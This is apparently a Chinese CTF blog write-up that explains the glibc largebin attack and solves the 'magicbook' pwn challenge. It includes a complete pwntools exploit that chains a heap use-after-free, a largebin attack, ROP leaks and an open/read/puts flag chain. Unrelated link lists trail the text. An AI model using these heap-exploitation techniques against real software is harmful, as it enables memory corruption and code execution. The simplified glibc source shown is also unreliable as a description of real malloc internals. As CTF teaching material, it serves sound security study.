常回家看看之largebin_attack
常回家看看之largebin_attack
先简单介绍一下什么是largebin
largebin
是 glibc 的 malloc
实现中用于管理大块内存的一种数据结构。在 glibc 的内存分配中,largebin
是 bin
系列的一部分,用于存储大小超过某个阈值的空闲内存块。largebin
的设计目标是提高内存管理的效率,并减少内存碎片。
简单点就是用来管理较大的堆块的
- 起始大小:
largebin
管理的内存块大小从smallbin
范围的最大值 + 1 开始。具体来说,smallbin
的最大块大小是 512 字节,因此largebin
的起始大小是 513 字节。 - 无上限:
largebin
的内存块没有固定的上限。任何大于 512 字节的空闲内存块都会被插入到适当的largebin
中。 - 当有较大堆块被释放的时候,先进入unsortbin,再次进行分配的时候,如果有合适的,则将堆块分割,剩下的部分仍然进入unsortbin,如果没有合适的则进入largebin
largebin和其他bin的区别
在 largebin
中,每个大块内存块除了标准的双向链表指针 fd
(forward)和 bk
(backward)外,还包含额外的指针 fd_nextsize
和 bk_nextsize
。这些指针的作用如下:
fd
和bk
:指向当前链表中前后相邻的内存块,用于维护基本的双向链表。fd_nextsize
和bk_nextsize
:指向按大小排序的前后相邻内存块,用于维护按大小排序的链
作用:
fd_nextsize
:指向当前内存块大小相同或更大的下一个内存块。bk_nextsize
:指向当前内存块大小相同或更小的前一个内存块。
这种结构允许 largebin
维护两条链表:一条是按插入顺序排列的链表(使用 fd
和 bk
指针),另一条是按大小排序的链表(使用 fd_nextsize
和 bk_nextsize
指针)。
Large Bin
的插入顺序:
- 按大小排序:首先根据大小从大到小对堆块进行排序。较小的块链接在较大的块之后。
- 按释放时间排序:对于大小相同的块,按它们被释放的时间顺序进行排序。先释放的块排在前面。
fd_nextsize
和bk_nextsize
指针:- 对于多个大小相同的堆块,只有第一个块(即首堆块)的
fd_nextsize
和bk_nextsize
指针指向其他块。 - 后续相同大小的堆块的
fd_nextsize
和bk_nextsize
指针均为 0。
循环链表:
- 大小最大的块的
bk_nextsize
指向大小最小的块。 - 大小最小的块的
fd_nextsize
指向大小最大的块。
原理:
- Largebin 是 glibc 内存分配器中用于存储较大内存块的链表。每个块不仅包含指向前后块的指针 (
fd
和bk
),还包含指向相同大小块的指针 (fd_nextsize
和bk_nextsize
)。 - 当一个内存块被释放后,它会被放入适当的 bin 中。如果是大块,则放入 Largebin。
- 当分配新的内存块时,glibc 会尝试从适当的 bin 中找到合适的块进行分配。在 Largebin 中,按大小排序的链表有助于快速找到合适的块。
- 攻击者可以通过伪造指针,特别是
bk_nextsize
,来控制内存分配器的行为,从而实现任意地址写入。
glibc 源码分析
1.当一个块被释放并符合 Largebin 条件时,会被放入 Largebin 中。以下是 glibc 中 malloc
和 free
操作的相关部分:
void _int_free(mstate av, mchunkptr p) {
// ... other code ...
// Determine the bin to use
if (chunk_in_largebin_range(size)) {
// Add to Largebin
mchunkptr bck = largebin[bin_index];
mchunkptr fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
// Update nextsize pointers
mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
while (next_chunk != NULL && chunksize(next_chunk) < size) {
next_chunk = next_chunk->fd_nextsize;
}
p->fd_nextsize = next_chunk;
p->bk_nextsize = next_chunk->bk_nextsize;
next_chunk->bk_nextsize = p;
next_chunk->fd_nextsize = p;
}
// ... other code ...
}
2. 修改 bk_nextsize
我们需要找到一种方式修改 Largebin 中块的 bk_nextsize
字段。
chunk1->bk_nextsize = Target - 0x20;
3. 分配新块触发攻击
当分配一个新的块时,glibc 会尝试找到合适的块进行分配。在这个过程中,伪造的 bk_nextsize
会被用来更新指针,导致任意地址写入。
void* _int_malloc(mstate av, size_t bytes) {
// ... other code ...
if (bytes > MAX_SMALLBIN_SIZE) {
// Check Largebin
mchunkptr victim = largebin[bin_index];
if (victim != NULL) {
// Remove from Largebin
mchunkptr bck = victim->bk;
mchunkptr fwd = victim->fd;
bck->fd = fwd;
fwd->bk = bck;
// Update nextsize pointers
mchunkptr next_chunk = victim->fd_nextsize;
next_chunk->bk_nextsize = victim->bk_nextsize;
victim->bk_nextsize->fd_nextsize = next_chunk;
// Allocate the chunk
set_inuse_bit_at_offset(victim, bytes);
return chunk2mem(victim);
}
}
// ... other code ...
}
通过上周的比赛题目可以很好的介绍largebin_attack
题目地址:https://buuoj.cn/match/matches/207/challenges#magicbook
题目保护情况:没有开canary保护
64位ida逆向
存在3个功能,一个一个看
add,申请堆块大小和数量都有限制
free,不仅存在UAF,而且还有任意堆块数据部分+8处0x18字节写的功能
edit,如果book处的地址很大存在栈溢出
沙箱保护
思路:通过largebin_attack,将book处的地址变成一个较大的数据(头指针),然后通过栈溢出,orw读取数据
1.申请0x450,0x440,0x440(防止合并)大小的三个堆块
2.释放第一个堆块(此时进入unsortbin)
3.申请一个比第一个堆块大的堆块(此时进入largebin)
4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置
5.申请一个大堆块完成largebin_attack
6.栈溢出orw读取flag
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6')
success('puts--->'+hex(libc.sym['system']))
io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060
def add(size):
io.sendlineafter('Your choice:','1')
io.sendlineafter('your book need?',str(size))
def free0(index,ch,msg):
io.sendlineafter('Your choice:','2')
io.sendlineafter('want to delete?',str(index))
io.sendlineafter('being deleted?(y/n)','y')
io.sendlineafter('you want to write?',str(ch))
io.sendafter('content: ',msg)
def free1(index):
io.sendlineafter('Your choice:','2')
io.sendlineafter('want to delete?',str(index))
io.sendlineafter('being deleted?(y/n)','n')
def edit():
io.sendlineafter('Your choice:','3')
book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863 + elf_base # : pop rdi; ret;
pop_rsi = 0x0000000000001861 + elf_base #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1
#gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)
edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!')
pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret;
syscall = 0x0000000000091316 + libc_bass#: syscall; ret;
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read']
payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt)
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload)
io.interactive()
总结:
Largebin Attack 利用条件和步骤
利用条件:
修改权限:能够修改 Largebin 中块的
bk_nextsize
字段。堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。
利用步骤:
分配堆块:
分配一块大小为
size1
且在 Largebin 范围内的块chunk1
。分配一块任意大小的块
pad1
,以防止在释放chunk1
时系统将其与 top chunk 合并。分配一块大小为
size2
且在 Largebin 范围内的块chunk2
,要求size2 < size1
且chunk2
紧邻chunk1
。分配一块任意大小的块
pad2
,以防止在释放chunk2
时系统将其与 top chunk 合并。
释放并重新分配:
释放
chunk1
,此时系统会将其放入 unsortedbin。再分配一个大小为size3
的块,要求size3 > size1
,此时系统会将chunk1
放进 Largebin 中。确保
chunk2
紧邻chunk1
。释放
chunk2
进入 unsortedbin。
修改指针:
修改
chunk1->bk_nextsize
为Target - 0x20
。
触发攻击:
随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。
常回家看看之largebin_attack的更多相关文章
- 《Android插件化开发指南》面世
本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...
- C 基础框架开发
引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...
- 利用Swoole实现PHP+websocket直播,即使通讯
websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...
- 高中最后一刻&大学第一课&为人师的责任
文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...
- N1试卷常考词汇总结
免れる まぬがれる 免去,幸免 軽率 けいそつ 轻率,草率 捩れる ねじれる 拧劲儿,扭歪,弯曲 裂ける さける 裂开,破裂 避ける さける 躲避,避开 つまむ 挟,捏,掐 追及 ついきゅう 追上.追 ...
- JavaScript 字符串实用常操纪要
JavaScript 字符串用于存储和处理文本.因此在编写 JS 代码之时她总如影随形,在你处理用户的输入数据的时候,在读取或设置 DOM 对象的属性时,在操作 Cookie 时,在转换各种不同 Da ...
- C++常考面试题汇总
c++面试题 一 用简洁的语言描述 c++ 在 c 语言的基础上开发的一种面向对象编程的语言: 应用广泛: 支持多种编程范式,面向对象编程,泛型编程,和过程化编程:广泛应用于系统开发,引擎开发:支持类 ...
- OCP考点实战演练02-日常维护篇
本系列宗旨:真正掌握OCP考试中所考察的技能,坚决不做Paper OCP! 实验环境:RHEL 6.4 + Oracle 11.2.0.4 OCP考点实战演练02-日常维护篇 1.数据库体系结构和AS ...
- c/c++常见面试题
1. C中static有什么作用 (1)隐藏. 当我们同时编译多个文件时,所有未加static前缀的全局变量和函数都具有全局可见性,故使用static在不同的文件中定义同名函数和同名变量,而不必担心命 ...
- flhs笔试题-回家上机实践
这是最近参加的一个公司的笔试题,回家上机写了下代码,希望对有需要的小伙伴有用,简单实现字符串和数组在指定位置的插入: package org.flhs; import com.google.commo ...
随机推荐
- 面试题一《swift和oc的区别》
一.来源 这道题来自网上一篇文章<100家公司iOS面试题管理>,这份题目虽然题目质量不高,但是覆盖面比较全,有学习的价值 二.解析 1.swift 比 OC更年轻,这意味着 swift ...
- 国产大语言模型ChatGLM3本地搭建、使用和功能扩展
1.官网 ChatGLM3 2.下载ChatGLM3源码 直接在https://github.com/THUDM/ChatGLM3,下载源码 3.下载模型 如果显卡8G一下建议下载ChatGLM3-6 ...
- else if
// if(){}else if(){}...else{} // 多种条件,多种情况下的判断语句 // 必须要注意 // 1,else if 之后有 ...
- 剑指Offer-57.二叉树的下一个结点(C++/Java)
题目: 给定一个二叉树和其中的一个结点,请找出中序遍历顺序的下一个结点并且返回.注意,树中的结点不仅包含左右子结点,同时包含指向父结点的指针. 分析: 二叉树的中序遍历是左根右,所以如果一个结点的右子 ...
- java.io.File类中分隔符区别
1.separator File.separator是系统默认的文件分隔符号,在UNIX系统上,这个字段的值是'/';在Microsoft Windows系统上,它是''. 类型:String 2.s ...
- 串口收发UART(Verilog HDL)
UART(Universal Asynchronous Receiver Transmitter,通用异步收发器)是一种异步串行通信协议,主要用于计算机和嵌入式系统之间的数据交换. 实现UART通信的 ...
- 一个简单可分享的web数据透视分析
我推荐一个简单可分享的在线数据透视分析网站,首先看效果: 在线数据透视展示 用户上传一个Excel或csv文件后,把指标拖拽到左右两侧,再选择合适的分析方式,在中间展示区域就会出现分析数据或者图形了, ...
- Ansible的常用模块
目录 ansible常用模块 1. file模块 1.1 file模块的选项 1.2 file模块的使用 1.2.1 使用file模块在远程主机创建文件 1.2.2 创建目录 1.2.3 删除文件/目 ...
- Linux 修改 hostname
背景 之前安装Linux系统的时候,没有明确指定.现在因为在做某些实验的时候,为了更好地区分我所登录的每一台服务器. 于是有了此文. 做法 首先修改/etc/hostname,修改为自己想要的名字xx ...
- 嵌入式HLS 案例开发步骤分享——基于Zynq-7010/20工业开发板(1)
目 录 前 言 3 1 HLS 开发流程说明 5 1.1 HLS 工程导入 5 1.2 编译与仿真 6 1.3 综合 8 1.4 IP 核封装 10 1.5 IP 核测试 14 前 言 本文主要介绍 ...